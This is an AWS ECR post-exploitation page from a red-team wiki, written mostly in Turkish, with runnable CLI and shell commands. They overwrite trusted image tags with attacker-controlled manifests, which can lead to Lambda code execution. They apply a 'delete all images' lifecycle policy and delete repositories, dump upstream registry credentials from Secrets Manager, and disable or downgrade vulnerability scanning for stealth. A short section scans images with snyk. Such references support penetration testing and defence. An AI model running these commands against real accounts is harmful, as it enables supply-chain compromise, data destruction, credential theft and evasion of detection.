AWS - ECR Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

ECR

Daha fazla bilgi için bakınız

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

İmajları indirdikten sonra hassas bilgiler için bunları kontrol etmelisiniz:

Docker Forensics - HackTricks

Güvenilir Bir Tag’i ecr:PutImage ile Üzerine Yazma (Tag Hijacking / Supply Chain)

Eğer tüketiciler dağıtımı tag ile yapıyorsa (örneğin stable, prod, latest) ve tags değiştirilebilirse, ecr:PutImage kullanılarak o tag altında bir image manifest yükleyip güvenilir bir tag’i saldırgan-kontrollü içeriğe yeniden yönlendirmek mümkün olur.

Yaygın bir yaklaşım, mevcut saldırgan-kontrollü bir tag’in (veya digest’in) manifest’ini kopyalayıp güvenilir tag’in üzerine yazmaktır.

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

Etkisi: .../$REPO:$DST_TAG çeken herhangi bir iş yükü, IaC, Kubernetes manifestleri veya task definitions üzerinde herhangi bir değişiklik olmadan saldırgan tarafından seçilmiş içeriği alacaktır.

Downstream Tüketici Örneği: Lambda konteyner imajlarının etiket güncellemelerinde otomatik yenilenmesi

Eğer bir Lambda fonksiyonu container image olarak dağıtılmışsa (PackageType=Image) ve bir digest yerine bir ECR tag (örn., :stable, :prod) kullanıyorsa, o etiketi üzerine yazmak fonksiyon yenilendiğinde tedarik zinciri müdahalesini Lambda yürütme rolü içinde kod çalıştırmaya dönüştürebilir.

Bu durumu nasıl tespit edersiniz:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

Yenileme genellikle nasıl gerçekleşir:

  • CI/CD veya GitOps düzenli olarak lambda:UpdateFunctionCode çağrısı yapar (aynı ImageUri ile bile) ve Lambda’nın etiketi yeniden çözmesini zorlar.
  • Olay-tabanlı otomasyon, ECR image olaylarını (push/etiket güncellemeleri) dinler ve bir yenileme Lambda’sı/otomasyonu tetikler.

Eğer güvenilen etiketi üzerine yazabilirseniz ve bir yenileme mekanizması varsa, fonksiyonun bir sonraki çağrısı saldırganın kontrolündeki kodu çalıştırır; bu kod ortam değişkenlerini okuyabilir, ağ kaynaklarına erişebilir ve Lambda rolünü kullanarak AWS API’larını çağırabilir (örneğin, secretsmanager:GetSecretValue).

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

Bu izinlerden herhangi birine sahip bir saldırgan depodaki tüm görüntüleri silmek için bir yaşam döngüsü politikası oluşturabilir veya değiştirebilir ve ardından tüm ECR deposunu silebilir. Bu, depoda saklanan tüm container görüntülerinin kaybına yol açar.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

Eğer ECR Pull‑Through Cache kimlik doğrulamalı upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream kimlik bilgileri AWS Secrets Manager’da öngörülebilir bir isim önekiyle saklanır: ecr-pullthroughcache/. Operatörler bazen ECR yöneticilerine geniş Secrets Manager okuma erişimi verir; bu da kimlik bilgilerinin exfiltration’a ve AWS dışındaki yeniden kullanımına olanak tanır.

Gereksinimler

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Aday PTC secrets’lerini listeleme

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Keşfedilen secrets’leri dump et ve ortak alanları ayrıştır

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

İsteğe bağlı: leaked creds’i upstream’e karşı doğrulayın (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Etkisi

  • Bu Secrets Manager girişlerini okumak, yeniden kullanılabilir upstream registry kimlik bilgileri (kullanıcı adı/parola veya token) sağlar; bunlar upstream izinlerine bağlı olarak AWS dışında private image’ları çekmek veya ek depolara erişmek için kötüye kullanılabilir.

Registry seviyesinde gizlenme: taramayı devre dışı bırakma veya düşürme aracılığıyla ecr:PutRegistryScanningConfiguration

Registry düzeyinde ECR izinlerine sahip bir saldırgan, kayıt tarama yapılandırmasını herhangi bir scan-on-push kuralı olmaksızın BASIC olarak ayarlayarak TÜM depolar için otomatik zafiyet taramasını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push’larının otomatik olarak taranmasını engeller ve zafiyetli veya kötü amaçlı image’ları gizler.

Gereksinimler

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (opsiyonel, per‑repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (doğrulama)

Kayıt genelinde manuel moda düşürme (otomatik taramalar yok)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Repo ve image ile test edin

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

İsteğe bağlı: repo kapsamında daha fazla zayıflatma

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Etkisi

  • Kayıt defteri genelindeki yeni image push’ları otomatik olarak taranmıyor; bu, güvenlik açığına sahip veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespit edilmesini bir manuel tarama başlatılana kadar geciktirir.

Kayıt defteri genelinde tarama motoru düşürme ecr:PutAccountSetting aracılığıyla (AWS_NATIVE -> CLAIR)

Varsayılan AWS_NATIVE’den eski CLAIR motoruna BASIC tarama motorunu değiştirerek tüm kayıt defteri genelinde zafiyet tespiti kalitesini azaltın. Bu, taramayı devre dışı bırakmaz ancak bulguları/örtümü önemli ölçüde değiştirebilir. Taramaları yalnızca manuel hale getirmek için kuralsız bir BASIC registry tarama yapılandırması ile birleştirin.

Requirements

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (İsteğe bağlı) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Etkisi

  • Kayıt defteri ayarı BASIC_SCAN_TYPE_VERSION CLAIR olarak ayarlanır; böylece sonraki BASIC taramalar düşürülen motorla çalışır. CloudTrail, PutAccountSetting API çağrısını kaydeder.

Steps

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

ECR görüntülerini zafiyetler için tara

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin